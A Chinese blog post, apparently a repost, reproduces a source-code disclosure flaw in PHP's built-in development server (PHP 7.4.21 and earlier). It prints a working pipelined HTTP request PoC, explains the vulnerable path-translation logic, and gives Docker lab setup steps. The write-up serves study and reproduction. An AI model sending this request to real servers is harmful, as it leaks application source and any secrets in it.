前言
前一段时间在看羊城杯wp里了解到了这个漏洞,觉得挺有意思尝试复现一下(
版本
PHP<= 7 . 4 . 21
漏洞成因
通过php -S
开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码
这里直接给出POC
GET /phpinfo.php HTTP/1.1 //这里的phpinfo.php必须是存在的文件,也就是要读取源码的文件
Host: 192.168.xxx.xxx:xx
GET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件
ps:这里一定要换行
这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php)
PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP,或者如果扩展名的长度不等于3,则该文件被视为静态文件,因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)
漏洞复现
kali虚拟机下载docker
apt-get install docker.io
启动docker
service docker start
docker拉取PHP 7.4.21的镜像
docker pull php:7.4.21
运行镜像 将docker 的80端口映射到kali的8080端口
docker run -it -p 8080:80 4ad229e4e700 /bin/bash
创建phpinfo.php
echo "<?php phpinfo();?>" > phpinfo.php
启动php web server
php -S 0.0.0.0:80
访问192.168.xxx.xxx:8080 //kali的地址
ok开始抓包,发送到repeater模块
PS:一定能要关闭自动更新Content-Length
写入payload
发送,成功读取到phpinfo.php的源码
参考文章
【漏洞复现】php5.5.45-8.0.2任意文件读取 – FreeBuf网络安全行业门户https://www.freebuf.com/vuls/359359.html
PHP<=7.4.21 Development Server源码泄露漏洞 (buaq.net)https://buaq.net/go-147962.html
原文地址:https://blog.csdn.net/Kawakaze_JF/article/details/133046885
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_50627.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!